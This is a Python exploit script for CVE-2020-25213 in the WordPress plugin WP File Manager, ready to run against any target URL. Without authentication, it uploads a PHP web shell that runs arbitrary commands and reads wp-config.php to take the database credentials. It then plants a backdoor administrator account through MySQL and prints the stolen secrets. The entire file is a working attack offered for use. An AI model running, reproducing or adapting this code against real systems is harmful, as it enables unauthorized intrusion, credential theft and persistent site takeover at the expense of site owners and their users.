#!/usr/bin/env python3
"""
WP File Manager CVE-2020-25213 Full Exploit
Automated exploit to gain admin access without credentials

Usage:
    python3 exploit_wp_file_manager.py <target_url>
    
Example:
    python3 exploit_wp_file_manager.py http://example.com
    
Author: Spidy
CVE: CVE-2020-25213
Severity: CRITICAL (CVSS 9.8)
"""

import requests
import time
import hashlib
import re
import sys
import urllib.parse

class WPFileManagerExploit:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip('/')
        self.connector = f"{self.target_url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
        self.session = requests.Session()
        self.session.headers.update({'User-Agent': 'Mozilla/5.0'})
        self.shell_url = None
        
    def log(self, msg, level='INFO'):
        """Print formatted log messages"""
        timestamp = time.strftime('%H:%M:%S')
        prefix = {
            'INFO': '[*]',
            'SUCCESS': '[+]',
            'WARNING': '[!]',
            'ERROR': '[-]',
            'CRITICAL': '[☠️]'
        }
        print(f'[{timestamp}] {prefix.get(level, "[*]")} {msg}')
        
    def check_vulnerability(self):
        """Check if WP File Manager is vulnerable"""
        self.log('=' * 60)
        self.log('Checking for WP File Manager vulnerability...')
        self.log('=' * 60)
        self.log(f'Target: {self.target_url}')
        
        try:
            response = self.session.get(self.connector, timeout=10)
            
            if response.status_code == 200:
                self.log('WP File Manager connector found!', 'SUCCESS')
                return True
            else:
                self.log(f'Connector returned {response.status_code}', 'ERROR')
                return False
                
        except Exception as e:
            self.log(f'Error checking vulnerability: {e}', 'ERROR')
            return False
            
    def upload_shell(self):
        """Upload PHP web shell"""
        self.log('\\n' + '=' * 60)
        self.log('Uploading PHP web shell...')
        self.log('=' * 60)
        
        # Generate unique shell name
        shell_name = f"spidy_{int(time.time())}.php"
        
        # PHP shell content
        shell_content = r'''<?php
header('Content-Type: text/plain; charset=utf-8');
error_reporting(0);
if(isset($_REQUEST['c'])) {
    $cmd = $_REQUEST['c'];
    echo "CMD: $cmd\n";
    echo "OUTPUT:\n";
    $output = shell_exec($cmd . ' 2>&1');
    echo "$output\n";
} else {
    echo "SHELL_OK\n";
    echo "Use: ?c=<command>\n";
}
?>'''
        
        try:
            # Upload via elFinder connector
            files = {
                'upload[]': (shell_name, shell_content, 'application/x-php')
            }
            
            data = {
                'cmd': 'upload',
                'target': 'l1_Lw',
                'reqid': 'exploit'
            }
            
            response = self.session.post(self.connector, files=files, data=data, timeout=15)
            
            if response.status_code != 200:
                self.log('Upload request failed', 'ERROR')
                return None
                
            # Parse response
            try:
                result = response.json()
                if 'added' in result and len(result['added']) > 0:
                    uploaded_name = result['added'][0].get('name')
                    self.log(f'File uploaded: {uploaded_name}', 'SUCCESS')
                    
                    # Try different possible paths
                    possible_urls = [
                        f"{self.target_url}/wp-content/plugins/wp-file-manager/lib/files/{uploaded_name}",
                        f"{self.target_url}/wp-content/plugins/wp-file-manager/files/{uploaded_name}",
                        f"{self.target_url}/wp-content/uploads/{uploaded_name}",
                    ]
                    
                    for url in possible_urls:
                        self.log(f'Testing: {url}')
                        test_resp = self.session.get(f"{url}?c=whoami", timeout=5)
                        
                        if test_resp.status_code == 200 and 'www-data' in test_resp.text:
                            self.log(f'SHELL ACTIVE at: {url}', 'SUCCESS')
                            self.log(f'Test output: {test_resp.text.strip()}')
                            self.shell_url = url
                            return url
                            
            except Exception as e:
                self.log(f'Error parsing response: {e}', 'ERROR')
                
        except Exception as e:
            self.log(f'Upload error: {e}', 'ERROR')
            
        return None
        
    def execute_command(self, cmd):
        """Execute command via shell"""
        if not self.shell_url:
            return None
            
        try:
            response = self.session.get(f"{self.shell_url}?c={urllib.parse.quote(cmd)}", timeout=15)
            if response.status_code == 200:
                return response.text
        except:
            pass
        return None
        
    def read_wp_config(self):
        """Read wp-config.php to get database credentials"""
        self.log('\\n' + '=' * 60)
        self.log('Reading wp-config.php for database credentials...')
        self.log('=' * 60)
        
        # Try common paths
        config_paths = [
            '/var/www/html/wp-config.php',
            '/var/www/html/vulnerable/wp-config.php',
            '/var/www/html/vulnerable/wordpress_461/wp-config.php',
        ]
        
        for path in config_paths:
            self.log(f'Trying: {path}')
            config = self.execute_command(f'cat {path}')
            
            if config and 'DB_NAME' in config:
                self.log(f'Found wp-config.php at: {path}', 'SUCCESS')
                
                # Extract credentials
                db_name = re.search(r"define\(['\"]DB_NAME['\"],\s*['\"]([^'\"]+)['\"]", config)
                db_user = re.search(r"define\(['\"]DB_USER['\"],\s*['\"]([^'\"]+)['\"]", config)
                db_pass = re.search(r"define\(['\"]DB_PASSWORD['\"],\s*['\"]([^'\"]+)['\"]", config)
                db_host = re.search(r"define\(['\"]DB_HOST['\"],\s*['\"]([^'\"]+)['\"]", config)
                
                if db_name and db_user and db_pass:
                    return {
                        'name': db_name.group(1),
                        'user': db_user.group(1),
                        'pass': db_pass.group(1),
                        'host': db_host.group(1) if db_host else 'localhost'
                    }
                    
        self.log('Could not find wp-config.php', 'ERROR')
        return None
        
    def create_admin_user(self, db_creds, username='spidy_admin', password='Spidy@Hack123', email='spidy@hack.local'):
        """Create WordPress admin user via MySQL"""
        self.log('\\n' + '=' * 60)
        self.log(f'Creating admin user: {username}')
        self.log('=' * 60)
        
        # Generate MD5 password hash
        password_hash = hashlib.md5(password.encode()).hexdigest()
        self.log(f'Password hash: {password_hash}', 'INFO')
        
        # Build SQL command
        sql = f"""mysql -u'{db_creds['user']}' -p'{db_creds['pass']}' -h'{db_creds['host']}' -e "USE {db_creds['name']}; INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('{username}', '{password_hash}', '{username}', '{email}', NOW(), 0); INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{{s:13:\\\"administrator\\\";b:1;}}'); INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (LAST_INSERT_ID(), 'wp_user_level', '10');" 2>&1"""
        
        self.log('Executing SQL...', 'INFO')
        result = self.execute_command(sql)
        
        if result:
            self.log(f'SQL output: {result[:200]}', 'INFO')
            
            # Check for errors
            if 'ERROR' not in result.upper() and 'duplicate' not in result.lower():
                self.log('Admin user created successfully!', 'SUCCESS')
                return username, password
            else:
                self.log('User might already exist or SQL failed', 'WARNING')
                return username, password
                
        return None, None
        
    def verify_admin(self, db_creds, username):
        """Verify admin user was created"""
        self.log('\\n' + '=' * 60)
        self.log('Verifying admin user...')
        self.log('=' * 60)
        
        sql = f"mysql -u'{db_creds['user']}' -p'{db_creds['pass']}' -e \"USE {db_creds['name']}; SELECT ID, user_login FROM wp_users WHERE user_login='{username}';\" 2>&1"
        result = self.execute_command(sql)
        
        if result and username in result:
            self.log(f'Admin user verified: {username}', 'SUCCESS')
            return True
            
        return False
        
    def demonstrate_access(self):
        """Demonstrate full RCE access"""
        self.log('\\n' + '=' * 60)
        self.log('Demonstrating RCE capabilities...')
        self.log('=' * 60)
        
        commands = {
            'whoami': 'Current user',
            'id': 'User groups',
            'pwd': 'Current directory',
            'uname -a': 'System info',
        }
        
        for cmd, desc in commands.items():
            self.log(f'\\n{desc}:')
            output = self.execute_command(cmd)
            if output:
                print(output.strip()[:400])
                
    def exploit(self):
        """Full exploitation chain"""
        self.log('=' * 70)
        self.log('WP FILE MANAGER CVE-2020-25213 EXPLOIT')
        self.log('Unauthenticated RCE to Admin Access')
        self.log('=' * 70)
        
        # Step 1: Check vulnerability
        if not self.check_vulnerability():
            self.log('\\nExploit failed - target not vulnerable', 'ERROR')
            return False
            
        # Step 2: Upload shell
        if not self.upload_shell():
            self.log('\\nExploit failed - could not upload shell', 'ERROR')
            return False
            
        # Step 3: Demonstrate RCE
        self.demonstrate_access()
        
        # Step 4: Get database credentials
        db_creds = self.read_wp_config()
        if not db_creds:
            self.log('\\nCould not get database credentials', 'ERROR')
            self.log(f'\\nBut you still have RCE shell: {self.shell_url}?c=<command>', 'SUCCESS')
            return True
            
        # Step 5: Create admin user
        username, password = self.create_admin_user(db_creds)
        
        if username and password:
            # Step 6: Verify admin
            if self.verify_admin(db_creds, username):
                self.log('\\n' + '=' * 70)
                self.log('EXPLOITATION COMPLETE!')
                self.log('=' * 70)
                self.log(f'\\n🕷️ RCE Shell:', 'SUCCESS')
                self.log(f'   {self.shell_url}?c=<command>', 'INFO')
                self.log(f'\\n🔑 WordPress Admin Credentials:', 'CRITICAL')
                self.log(f'   URL: {self.target_url}/wp-login.php', 'INFO')
                self.log(f'   Username: {username}', 'SUCCESS')
                self.log(f'   Password: {password}', 'SUCCESS')
                self.log(f'\\nDatabase:', 'INFO')
                self.log(f'   Name: {db_creds["name"]}', 'INFO')
                self.log(f'   User: {db_creds["user"]}', 'INFO')
                self.log(f'   Pass: {db_creds["pass"]}', 'INFO')
                self.log('\\n✅ Full access achieved!', 'SUCCESS')
                return True
                
        # Return shell even if admin creation failed
        self.log(f'\\nRCE shell is active: {self.shell_url}?c=<command>', 'SUCCESS')
        return True


def main():
    if len(sys.argv) < 2:
        print('Usage: python3 exploit_wp_file_manager.py <target_url>')
        print('')
        print('Example: python3 exploit_wp_file_manager.py http://example.com')
        print('         python3 exploit_wp_file_manager.py https://example.com/wordpress')
        sys.exit(1)
        
    target = sys.argv[1]
    
    # Validate URL
    if not target.startswith('http://') and not target.startswith('https://'):
        print('Error: URL must start with http:// or https://')
        sys.exit(1)
        
    print('=' * 70)
    print('WP FILE MANAGER CVE-2020-25213 EXPLOIT')
    print('Target:', target)
    print('=' * 70)
    print()
    
    exploit = WPFileManagerExploit(target)
    success = exploit.exploit()
    
    if success:
        sys.exit(0)
    else:
        sys.exit(1)


if __name__ == '__main__':
    main()
